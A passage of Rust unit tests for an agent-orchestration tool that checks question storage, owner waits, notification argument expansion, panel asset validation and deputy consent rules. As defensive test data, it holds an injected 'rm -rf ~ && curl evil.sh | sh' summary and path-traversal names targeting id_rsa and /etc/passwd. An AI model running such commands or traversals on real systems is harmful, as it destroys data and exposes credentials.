2648        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2649        let future = serde_json::json!({
2650            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2651            "seat": "s", "summary": "?", "detail": "", "choices": [],
2652            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2653            "answered_at": null, "answer": null,
2654        });
2655        std::fs::write(
2656            s.path_of("20260101-000010-beef"),
2657            serde_json::to_string(&future).unwrap(),
2658        )
2659        .unwrap();
2660
2661        let listed = s.list();
2662        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2663        assert_eq!(listed[0].id, good.id);
2664        // Asked for by name, the unreadable one explains itself instead.
2665        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2666        assert!(e.contains("schema"), "{e}");
2667    }
2668
2669    #[tokio::test]
2670    async fn the_wait_returns_the_answer_another_process_wrote() {
2671        // The phone, `magi answer` and this run are three processes with no
2672        // channel between them: the file is the channel, so the wait has to see
2673        // a write it did not make. Sub-second timings keep this a real wait
2674        // without a real one's duration.
2675        let (dir, s) = store();
2676        let mut q = choice_question();
2677        let id = q.id.clone();
2678        let writer = Questions::at(dir.path().join("questions"));
2679        let handle = tokio::spawn(async move {
2680            tokio::time::sleep(Duration::from_millis(30)).await;
2681            let mut fresh = writer.get(&id).expect("the question was filed first");
2682            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2683            writer.put(&mut fresh).unwrap();
2684        });
2685
2686        let got = wait_for_owner(
2687            &mut q,
2688            &s,
2689            &quiet(),
2690            Duration::from_secs(5),
2691            Duration::from_millis(10),
2692        )
2693        .await
2694        .unwrap();
2695
2696        handle.await.unwrap();
2697        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2698        assert_eq!(
2699            q.status,
2700            QuestionStatus::Answered,
2701            "the caller's copy is refreshed from the answering process's record"
2702        );
2703        assert!(q.answered_at.is_some());
2704    }
2705
2706    #[tokio::test]
2707    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2708        let (_dir, s) = store();
2709        let mut q = choice_question();
2710
2711        let got = wait_for_owner(
2712            &mut q,
2713            &s,
2714            &quiet(),
2715            Duration::from_millis(60),
2716            Duration::from_millis(10),
2717        )
2718        .await
2719        .unwrap();
2720
2721        assert_eq!(
2722            got,
2723            Wait::Abandoned,
2724            "a slow human is not an error; the run parks"
2725        );
2726        assert_eq!(q.status, QuestionStatus::Abandoned);
2727        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2728        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2729        assert!(
2730            on_disk.detail.contains("Abandoned:"),
2731            "why nobody answered belongs with the question: {}",
2732            on_disk.detail
2733        );
2734        assert!(on_disk.resolution().is_none());
2735        assert_eq!(s.count_open(), 0);
2736    }
2737
2738    #[tokio::test]
2739    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2740        // This is the whole point of slicing: `timeout` (the real
2741        // `answer_timeout` budget) is far larger than `slice`, so the loop
2742        // must land on `slice` first and hand back `Pending` - not read the
2743        // silence so far as the owner having given up.
2744        let (_dir, s) = store();
2745        let mut q = choice_question();
2746        s.put(&mut q).unwrap();
2747
2748        let got = wait_loop(
2749            &mut q,
2750            &s,
2751            Duration::from_secs(3600),
2752            Duration::from_millis(30),
2753            Duration::from_millis(10),
2754        )
2755        .await
2756        .unwrap();
2757
2758        assert_eq!(
2759            got,
2760            Wait::Pending,
2761            "the clock on this call ran out, not the owner's patience"
2762        );
2763        assert_eq!(
2764            q.status,
2765            QuestionStatus::Open,
2766            "a slice expiring must never abandon the question"
2767        );
2768        let on_disk = s.get(&q.id).expect("still on disk, still open");
2769        assert_eq!(
2770            on_disk.status,
2771            QuestionStatus::Open,
2772            "nothing about the record changed just because this call gave up"
2773        );
2774    }
2775
2776    #[tokio::test]
2777    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2778        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2779        // and returns `Pending`, a second slice - a fresh call, exactly as a
2780        // fresh process would make - picks the same question back up and
2781        // sees an answer written in between.
2782        let (dir, s) = store();
2783        let mut q = choice_question();
2784        s.put(&mut q).unwrap();
2785
2786        let first = wait_loop(
2787            &mut q,
2788            &s,
2789            Duration::from_secs(3600),
2790            Duration::from_millis(30),
2791            Duration::from_millis(10),
2792        )
2793        .await
2794        .unwrap();
2795        assert_eq!(first, Wait::Pending);
2796
2797        let id = q.id.clone();
2798        let writer = Questions::at(dir.path().join("questions"));
2799        let mut fresh = writer.get(&id).unwrap();
2800        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2801        writer.put(&mut fresh).unwrap();
2802
2803        // `resume_wait` uses its own production poll interval rather than a
2804        // test-injected one, so the budget here only needs to be large enough
2805        // to cover one real poll tick - the point is that it is `resume_wait`
2806        // itself, not a helper, that finds the answer.
2807        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2808            .await
2809            .unwrap();
2810        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2811        assert_eq!(q.status, QuestionStatus::Answered);
2812    }
2813
2814    #[tokio::test]
2815    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2816        // The owner can speak back while nothing is running at all - between
2817        // one call reporting `Wait::Pending` and the next `--wait` picking
2818        // the question back up - and whoever resumes the wait loads a
2819        // *fresh* copy of the question off disk, one whose thread already
2820        // contains that reply. A baseline taken from that fresh copy would
2821        // treat the reply as pre-existing and never notice it "arrive",
2822        // leaving the agent polling in silence until `answer_timeout`
2823        // eventually abandons the question - replacing the exact accident
2824        // this feature exists to fix with a quieter version of itself.
2825        let (dir, s) = store();
2826        let mut q = choice_question();
2827        s.put(&mut q).unwrap();
2828
2829        let first = wait_loop(
2830            &mut q,
2831            &s,
2832            Duration::from_secs(3600),
2833            Duration::from_millis(30),
2834            Duration::from_millis(10),
2835        )
2836        .await
2837        .unwrap();
2838        assert_eq!(first, Wait::Pending);
2839
2840        // The owner speaks back during the gap, with nobody running yet.
2841        let id = q.id.clone();
2842        let writer = Questions::at(dir.path().join("questions"));
2843        let mut fresh = writer.get(&id).unwrap();
2844        fresh.say("why not Postgres?").unwrap();
2845        writer.put(&mut fresh).unwrap();
2846
2847        // `magi ask --wait` re-reads the question rather than reusing the
2848        // stale in-memory copy the earlier call held - so the copy handed to
2849        // `resume_wait` here already carries the reply, same as `fresh` above.
2850        let mut resumed = s.get(&id).unwrap();
2851        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2852            .await
2853            .unwrap();
2854        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2855        assert_eq!(
2856            resumed.status,
2857            QuestionStatus::Open,
2858            "talking back is not a decision; the question stays open"
2859        );
2860    }
2861
2862    #[tokio::test]
2863    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2864        // A broken webhook must not throw away an implementation, so the wait
2865        // reports the failure and carries on. `notify` itself still says what
2866        // went wrong, because `magi notify --test` has to be able to show it.
2867        let (dir, s) = store();
2868        let broken = config::Notify {
2869            command: vec![
2870                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2871                "{summary}".to_owned(),
2872            ],
2873        };
2874        let mut q = choice_question();
2875        assert!(
2876            notify(&broken, &q).await.is_err(),
2877            "the caller is told; it decides that it does not matter"
2878        );
2879
2880        let id = q.id.clone();
2881        let writer = Questions::at(dir.path().join("questions"));
2882        let handle = tokio::spawn(async move {
2883            tokio::time::sleep(Duration::from_millis(30)).await;
2884            let mut fresh = writer.get(&id).unwrap();
2885            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2886            writer.put(&mut fresh).unwrap();
2887        });
2888        let got = wait_for_owner(
2889            &mut q,
2890            &s,
2891            &broken,
2892            Duration::from_secs(5),
2893            Duration::from_millis(10),
2894        )
2895        .await
2896        .unwrap();
2897        handle.await.unwrap();
2898        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2899
2900        // No command at all is the default, and is silence rather than failure.
2901        assert!(notify(&quiet(), &q).await.is_ok());
2902        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2903    }
2904
2905    #[tokio::test]
2906    async fn external_question_notification_names_the_supported_response_path() {
2907        let dir = tempfile::tempdir().unwrap();
2908        let path = dir.path().join("page");
2909        let cmd = config::Notify {
2910            command: vec![
2911                "sh".into(),
2912                "-c".into(),
2913                "printf '%s' \"$1\" > \"$2\"".into(),
2914                "notify".into(),
2915                "{summary}".into(),
2916                path.to_string_lossy().into_owned(),
2917            ],
2918        };
2919        let q = choice_question();
2920        notify(&cmd, &q).await.unwrap();
2921        let sent = std::fs::read_to_string(&path).unwrap();
2922        assert!(sent.starts_with("Question "));
2923        assert!(sent.contains(&q.summary));
2924        assert!(sent.contains(&format!("magi answer {}", q.id)));
2925        notify_text(&cmd, "", "Informational report. No reply needed.")
2926            .await
2927            .unwrap();
2928        assert_eq!(
2929            std::fs::read_to_string(&path).unwrap(),
2930            "Informational report. No reply needed."
2931        );
2932    }
2933
2934    #[test]
2935    fn external_notifications_and_questions_have_distinct_destinations() {
2936        assert_eq!(
2937            question_url("https://example.invalid/"),
2938            "https://example.invalid/#/questions"
2939        );
2940        assert_eq!(
2941            view_url("https://example.invalid/", "notifications"),
2942            "https://example.invalid/#/notifications"
2943        );
2944        assert_eq!(view_url("", "notifications"), "");
2945        assert_eq!(
2946            view_url("https://example.invalid/#/queue", "notifications"),
2947            "https://example.invalid/#/queue"
2948        );
2949    }
2950
2951    #[test]
2952    fn notification_arguments_are_substituted_and_never_a_shell_string() {
2953        let mut q = choice_question();
2954        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2955        let template = [
2956            "ntfy".to_owned(),
2957            "publish".to_owned(),
2958            "--click".to_owned(),
2959            "{url}".to_owned(),
2960            "--title".to_owned(),
2961            "magi {run} needs you".to_owned(),
2962            "{summary}".to_owned(),
2963        ];
2964        let argv: Vec<String> = template
2965            .iter()
2966            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2967            .collect();
2968
2969        assert_eq!(
2970            argv,
2971            [
2972                "ntfy",
2973                "publish",
2974                "--click",
2975                "http://100.64.0.1:7777/#/questions",
2976                "--title",
2977                "magi 20260902-201256-9fb7 needs you",
2978                "; rm -rf ~ && curl evil.sh | sh #",
2979            ],
2980            "the shell metacharacters are one argument's contents, not syntax"
2981        );
2982
2983        // A summary that itself mentions a placeholder is text, not a template:
2984        // one left-to-right pass means a substituted value is never rescanned.
2985        q.summary = "should {url} be configurable?".to_owned();
2986        assert_eq!(
2987            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2988            "should {url} be configurable?"
2989        );
2990        // An unknown brace is the operator's own text and survives untouched.
2991        assert_eq!(
2992            expand("{title}: {run}", &q.run, &q.summary, ""),
2993            "{title}: 20260902-201256-9fb7"
2994        );
2995        assert_eq!(
2996            expand("no placeholders", &q.run, &q.summary, "http://x"),
2997            "no placeholders"
2998        );
2999    }
3000
3001    #[test]
3002    fn the_notification_link_lands_on_the_view_that_can_answer() {
3003        assert_eq!(
3004            question_url("http://100.64.0.1:7777"),
3005            "http://100.64.0.1:7777/#/questions"
3006        );
3007        assert_eq!(
3008            question_url("http://100.64.0.1:7777/"),
3009            "http://100.64.0.1:7777/#/questions"
3010        );
3011        // An operator who wrote a fragment has said where they want to land.
3012        assert_eq!(
3013            question_url("http://magi.ts.net/#/runs"),
3014            "http://magi.ts.net/#/runs"
3015        );
3016        // Unset expands to nothing rather than to a guessed address.
3017        assert_eq!(question_url("  "), "");
3018    }
3019
3020    /// A question with a fixed id, so a panel's path on disk is predictable.
3021    fn panelled() -> Question {
3022        let mut q = choice_question();
3023        q.id = "20260903-014455-ab12".to_owned();
3024        q
3025    }
3026
3027    #[test]
3028    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
3029        let (dir, s) = store();
3030        let work = dir.path().join("worktree");
3031        std::fs::create_dir_all(&work).unwrap();
3032        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
3033        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
3034
3035        let mut q = panelled();
3036        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
3037        s.put_panel(
3038            &mut q,
3039            html,
3040            &[work.join("table.png"), work.join("diff.svg")],
3041        )
3042        .unwrap();
3043        s.put(&mut q).unwrap();
3044
3045        assert!(q.panel);
3046        assert_eq!(
3047            q.assets,
3048            ["diff.svg", "table.png"],
3049            "sorted, not in the order the agent happened to pass them"
3050        );
3051        assert_eq!(
3052            s.panel_html(&q.id).as_deref(),
3053            Some(html),
3054            "the html is stored byte for byte; the agent authored the markup"
3055        );
3056        assert_eq!(
3057            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
3058            Some(&b"<svg/>"[..])
3059        );
3060
3061        // The record on disk carries the same two fields the front end reads.
3062        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
3063        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
3064        assert_eq!(json["panel"], true);
3065        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
3066        let back = s.get(&q.id).unwrap();
3067        assert!(back.panel);
3068        assert_eq!(back.assets, q.assets);
3069
3070        // The assets were copied, so the panel still renders after `magi fold`
3071        // has deleted the candidate worktree the agent authored it in.
3072        std::fs::remove_dir_all(&work).unwrap();
3073        assert_eq!(
3074            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
3075            Some(&b"\x89PNG"[..]),
3076            "a referenced asset would be gone with the worktree"
3077        );
3078    }
3079
3080    #[test]
3081    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
3082        let (dir, s) = store();
3083        let mut q = panelled();
3084        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
3085        s.put(&mut q).unwrap();
3086
3087        // A file exactly one level up from the panel directory - which is
3088        // where `..` lands - holding content a read would make visible.
3089        let secret = "this must never reach the browser";
3090        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
3091        assert_eq!(
3092            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
3093            secret,
3094            "the traversal is real: the operating system resolves this path \
3095             happily, which is why the name has to be refused before the join"
3096        );
3097
3098        let long = "x".repeat(200);
3099        for name in [
3100            "..",
3101            "../id_rsa",
3102            "..\\id_rsa",
3103            "sub/../id_rsa",
3104            "/",
3105            "\\",
3106            "/etc/passwd",
3107            "C:\\Windows\\win.ini",
3108            "",
3109            ".hidden",
3110            ".",
3111            long.as_str(),
3112        ] {
3113            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3114            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3115            assert!(
3116                e.contains("not a panel file name"),
3117                "`{name}` must be refused as a name, not attempted: {e}"
3118            );
3119            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3120        }
3121        // A name that is allowed still finds its file, so the refusals above
3122        // were the rule at work and not a store that reads nothing.
3123        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3124
3125        // The same rule on the write side, where the name comes from a source
3126        // file's base name, and a refusal leaves the stored panel untouched.
3127        let hidden = dir.path().join(".hidden");
3128        std::fs::write(&hidden, "x").unwrap();
3129        let e = s
3130            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3131            .unwrap_err()
3132            .to_string();
3133        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3134        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3135        assert!(q.assets.is_empty());
3136    }
3137
3138    #[test]
3139    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3140        let (dir, s) = store();
3141        let mut q = panelled();
3142        s.put(&mut q).unwrap();
3143
3144        // Sized rather than filled: the cap reads the file's length, and a
3145        // test that actually produced eight mebibytes would only be slower.
3146        let big = dir.path().join("recording.png");
3147        std::fs::File::create(&big)
3148            .unwrap()
3149            .set_len(PANEL_MAX_BYTES)
3150            .unwrap();
3151
3152        let html = "<p>see the recording</p>";
3153        let total = PANEL_MAX_BYTES + html.len() as u64;
3154        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3155        assert!(
3156            e.contains(&PANEL_MAX_BYTES.to_string()),
3157            "the cap is named so the agent knows the limit: {e}"
3158        );
3159        assert!(
3160            e.contains(&total.to_string()),
3161            "the actual size is named so the agent knows by how much: {e}"
3162        );
3163
3164        assert!(!q.panel);
3165        assert!(q.assets.is_empty());
3166        let left: Vec<String> = std::fs::read_dir(s.root())
3167            .unwrap()
3168            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3169            .collect();
3170        assert_eq!(
3171            left,
3172            [format!("{}.json", q.id)],
3173            "a refused panel leaves neither a directory nor scratch: {left:?}"
3174        );
3175    }
3176
3177    #[test]
3178    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3179        let (dir, s) = store();
3180        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3181        std::fs::create_dir_all(&before).unwrap();
3182        std::fs::create_dir_all(&after).unwrap();
3183        std::fs::write(before.join("diff.png"), "before").unwrap();
3184        std::fs::write(after.join("diff.png"), "after").unwrap();
3185
3186        let mut q = panelled();
3187        let e = s
3188            .put_panel(
3189                &mut q,
3190                "<p>x</p>",
3191                &[before.join("diff.png"), after.join("diff.png")],
3192            )
3193            .unwrap_err()
3194            .to_string();
3195        assert!(e.contains("diff.png"), "{e}");
3196        assert!(
3197            e.contains("before") && e.contains("after"),
3198            "both sources are named, because the fix is to rename one: {e}"
3199        );
3200        assert!(!q.panel);
3201        assert!(!s.panel_dir(&q.id).exists());
3202    }
3203
3204    #[test]
3205    fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3206        let (_dir, s) = store();
3207        let barrier = std::sync::Barrier::new(8);
3208        let ids = std::thread::scope(|scope| {
3209            let handles: Vec<_> = (0..8)
3210                .map(|worker| {
3211                    let s = &s;
3212                    let barrier = &barrier;
3213                    scope.spawn(move || {
3214                        barrier.wait();
3215                        (0..16)
3216                            .map(|index| {
3217                                let mut q = choice_question();
3218                                // Reproduce both the old four-digit collision
3219                                // and a clock returning identical entropy.
3220                                q.id = new_id_at("20261020-224346", 0xf8ef);
3221                                q.summary = format!("worker {worker}, question {index}");
3222                                assert!(valid_asset_name(&q.id));
3223                                assert_eq!(q.short(), "f8ef");
3224                                let html = format!("<p>{}</p>", q.summary);
3225                                s.put_panel(&mut q, &html, &[]).unwrap();
3226                                s.put(&mut q).unwrap();
3227                                (q.id, q.summary, html)
3228                            })
3229                            .collect::<Vec<_>>()
3230                    })
3231                })
3232                .collect();
3233            handles
3234                .into_iter()
3235                .flat_map(|handle| handle.join().unwrap())
3236                .collect::<Vec<_>>()
3237        });
3238        assert_eq!(s.list().len(), ids.len());
3239        for (id, summary, html) in ids {
3240            assert_eq!(s.get(&id).unwrap().summary, summary);
3241            assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3242        }
3243    }
3244
3245    #[test]
3246    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3247        let (dir, s) = store();
3248        std::fs::write(dir.path().join("old.png"), "old").unwrap();
3249        std::fs::write(dir.path().join("new.png"), "new").unwrap();
3250
3251        let mut q = panelled();
3252        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3253            .unwrap();
3254        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3255            .unwrap();
3256
3257        assert_eq!(q.assets, ["new.png"]);
3258        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3259        assert!(
3260            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3261            "an asset from the first attempt would show a mix of two answers"
3262        );
3263
3264        s.drop_panel(&q.id).unwrap();
3265        assert!(s.panel_html(&q.id).is_none());
3266        assert!(!s.panel_dir(&q.id).exists());
3267        s.drop_panel(&q.id)
3268            .expect("dropping a panel that is already gone is the desired state");
3269    }
3270
3271    #[test]
3272    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3273        let (_dir, s) = store();
3274        let mut q = panelled();
3275        s.put(&mut q).unwrap();
3276
3277        assert!(!q.panel);
3278        assert!(s.panel_html(&q.id).is_none());
3279        assert!(
3280            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3281            "a missing file is a 404 for the caller, not a failure of the store"
3282        );
3283        let json = serde_json::to_value(&q).unwrap();
3284        assert_eq!(json["panel"], false);
3285        assert_eq!(json["assets"], serde_json::json!([]));
3286
3287        // And an empty panel is refused, because an empty frame reads to the
3288        // owner as "the agent had nothing to say".
3289        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
3290        assert!(e.contains("empty panel"), "{e}");
3291        assert!(!s.panel_dir(&q.id).exists());
3292    }
3293
3294    #[test]
3295    fn a_question_written_before_panels_existed_still_deserialises() {
3296        let (_dir, s) = store();
3297        std::fs::create_dir_all(s.root()).unwrap();
3298        let id = "20260902-231501-ab12";
3299        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
3300        let body = r#"{
3301  "schema": 1,
3302  "id": "20260902-231501-ab12",
3303  "run": "20260902-201256-9fb7",
3304  "node": "implement",
3305  "seat": "impl-A",
3306  "summary": "Which storage backend should the cache use?",
3307  "detail": "Both are already dependencies.",
3308  "choices": ["SQLite", "Redis"],
3309  "status": "open",
3310  "asked_at": "2026-09-02T23:15:01Z",
3311  "answered_at": null,
3312  "answer": null
3313}"#;
3314        std::fs::write(s.path_of(id), body).unwrap();
3315
3316        let q = s.get(id).unwrap();
3317        assert!(
3318            !q.panel,
3319            "an absent field means no panel, not a parse error"
3320        );
3321        assert!(q.assets.is_empty());
3322        // Schema 1 predates `thread` entirely - not merely predates it having
3323        // any turns - and this build now speaks schema 3. Reading it must not
3324        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
3325        // accepted and the missing field defaults to no conversation yet.
3326        assert_eq!(q.schema, 1);
3327        assert!(q.thread.is_empty());
3328        assert_eq!(
3329            q.answer_timeout, 0,
3330            "an absent field means unrecorded, not a zero-second deadline"
3331        );
3332        assert!(!q.waiting_on_agent());
3333        assert_eq!(q.summary, "Which storage backend should the cache use?");
3334        assert_eq!(
3335            s.list().len(),
3336            1,
3337            "and it is still listed; skipping it would hide an open question"
3338        );
3339    }
3340
3341    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3342        Turn {
3343            who,
3344            body: body.to_owned(),
3345            at,
3346            note: None,
3347        }
3348    }
3349
3350    #[test]
3351    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3352        // The phone reads this shape by hand, same as the question itself: a
3353        // rename here is a card that silently drops every message in it.
3354        let mut q = choice_question();
3355        q.thread
3356            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3357        let value = serde_json::to_value(&q.thread[0]).unwrap();
3358        let mut keys: Vec<&str> = value
3359            .as_object()
3360            .unwrap()
3361            .keys()
3362            .map(String::as_str)
3363            .collect();
3364        keys.sort_unstable();
3365        assert_eq!(keys, ["at", "body", "who"]);
3366        assert_eq!(value["who"], "operator");
3367        assert_eq!(value["body"], "why not Postgres?");
3368
3369        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3370        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3371        assert_eq!(parsed.who, Who::Agent);
3372    }
3373
3374    fn approval_question() -> Question {
3375        let mut q = Question::new(
3376            "run".into(),
3377            crate::land::APPROVAL_NODE.into(),
3378            "land".into(),
3379            "Merge?".into(),
3380            String::new(),
3381            vec!["merge".into(), "hold".into()],
3382        );
3383        let mut dep = Deputy::new("brief".into());
3384        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3385        q.deputy = Some(dep);
3386        q
3387    }
3388
3389    #[test]
3390    fn deputy_batch_words_never_replace_specific_consent_or_a_recommendation_manifest() {
3391        for choice in [
3392            crate::merge_decision::WITHDRAW,
3393            "reimplement:primary",
3394            "retry",
3395            "discard",
3396        ] {
3397            let mut q = approval_question();
3398            q.choices.push(choice.into());
3399            if matches!(choice, "retry" | "discard") {
3400                q.node = "recovery".into();
3401            }
3402            if choice == "discard" {
3403                q.actions.insert(choice.into(), ChoiceAction::Done);
3404            }
3405            let words = "おっけーそれぞれ回答してー";
3406            q.say(words).unwrap();
3407            let error = q
3408                .settle_by_deputy("deputy-x", choice, words, None)
3409                .unwrap_err()
3410                .to_string();
3411            assert!(
3412                error.contains(if choice == "retry" {
3413                    "manifest"
3414                } else {
3415                    "individual owner confirmation"
3416                }),
3417                "{choice}: {error}"
3418            );
3419            assert!(q.status.open());
3420        }
3421    }
3422
3423    #[test]
3424    fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
3425        for choice in [
3426            crate::land::HOLD,
3427            crate::land::REPAIR,
3428            crate::merge_decision::WITHDRAW,
3429            "reimplement:beta",
3430        ] {
3431            let mut q = approval_question();
3432            q.node = crate::land::APPROVAL_NODE.into();
3433            q.choices = vec!["merge".into(), choice.into()];
3434            q.merge_target = Some(crate::merge_decision::Target {
3435                pr: "PR 42".into(),
3436                head: "abc".into(),
3437                language: "en".into(),
3438            });
3439            q.say(format!("Should we choose {choice}?")).unwrap();
3440            assert!(
3441                q.settle_by_deputy("deputy-x", choice, choice, None)
3442                    .is_err()
3443            );
3444            q.say(choice).unwrap();
3445            q.settle_by_deputy("deputy-x", choice, choice, None)
3446                .unwrap();
3447            assert_eq!(q.resolution().as_deref(), Some(choice));
3448        }
3449        let mut q = approval_question();
3450        q.node = crate::land::APPROVAL_NODE.into();
3451        q.choices = vec!["merge".into(), "hold".into()];
3452        q.merge_target = Some(crate::merge_decision::Target {
3453            pr: "PR 42".into(),
3454            head: "new-head".into(),
3455            language: "en".into(),
3456        });
3457        q.say("merge old-head").unwrap();
3458        assert!(
3459            q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3460                .is_err()
3461        );
3462        q.say("merge new-head").unwrap();
3463        q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3464            .unwrap();
3465    }
3466
3467    #[test]
3468    fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3469        let mut q = approval_question();
3470        q.choices.push(crate::land::REPAIR.into());
3471        q.say("maybe fix findings and re-review").unwrap();
3472        assert!(
3473            q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3474                .is_err()
3475        );
3476        q.say(crate::land::REPAIR).unwrap();
3477        q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3478            .unwrap();
3479        assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3480        assert_eq!(
3481            crate::land::approval(q.resolution().as_deref()),
3482            crate::land::Approval::Repair
3483        );
3484    }
3485
3486    #[test]
3487    fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3488        let mut q = approval_question();
3489        q.say("merge").unwrap();
3490        q.reply("sure?", vec!["merge".into(), "hold".into()])
3491            .unwrap();
3492        q.say(" Merge it please ").unwrap();
3493        assert!(
3494            q.settle_by_deputy("deputy-x", "merge", "   ", None)
3495                .is_err(),
3496            "an empty quote is refused"
3497        );
3498        assert!(
3499            q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3500                .is_err(),
3501            "a quote the owner never said is refused"
3502        );
3503        assert_eq!(q.status, QuestionStatus::Open);
3504        q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3505            .unwrap();
3506        assert_eq!(q.resolution().as_deref(), Some("merge"));
3507    }
3508
3509    #[test]
3510    fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3511        use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3512        let mk = || {
3513            let mut q = Question::new(
3514                "run".into(),
3515                crate::github_text::ASK_NODE.into(),
3516                crate::github_text::ASK_SEAT.into(),
3517                "s".into(),
3518                String::new(),
3519                vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3520            );
3521            let mut dep = Deputy::new("brief".into());
3522            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3523            q.deputy = Some(dep);
3524            q
3525        };
3526        let mut hedged = mk();
3527        hedged.say("Post the original, maybe?").unwrap();
3528        assert!(
3529            hedged
3530                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3531                .is_err()
3532        );
3533        let mut clear = mk();
3534        clear.say("Post the original text as it is.").unwrap();
3535        clear
3536            .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3537            .unwrap();
3538        assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3539        let mut japanese = mk();
3540        let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3541        japanese.say(words).unwrap();
3542        japanese
3543            .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3544            .unwrap();
3545        let mut unrelated = mk();
3546        unrelated.say("Proceed with the task").unwrap();
3547        assert!(
3548            unrelated
3549                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3550                .is_err()
3551        );
3552        for words in [
3553            "OK, post the original",
3554            "Yes, post original",
3555            "I'd like to post the original",
3556        ] {
3557            let mut natural = mk();
3558            natural.say(words).unwrap();
3559            natural
3560                .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3561                .unwrap();
3562        }
3563        for (message, quote) in [
3564            (
3565                "ログには「元の説明で投稿しました」と記録されています。",
3566                "ログには「元の説明で投稿しました」と記録されています。",
3567            ),
3568            (
3569                "ログには「元の説明で投稿してください」と記録されています。",
3570                "元の説明で投稿してください",
3571            ),
3572        ] {
3573            let mut descriptive = mk();
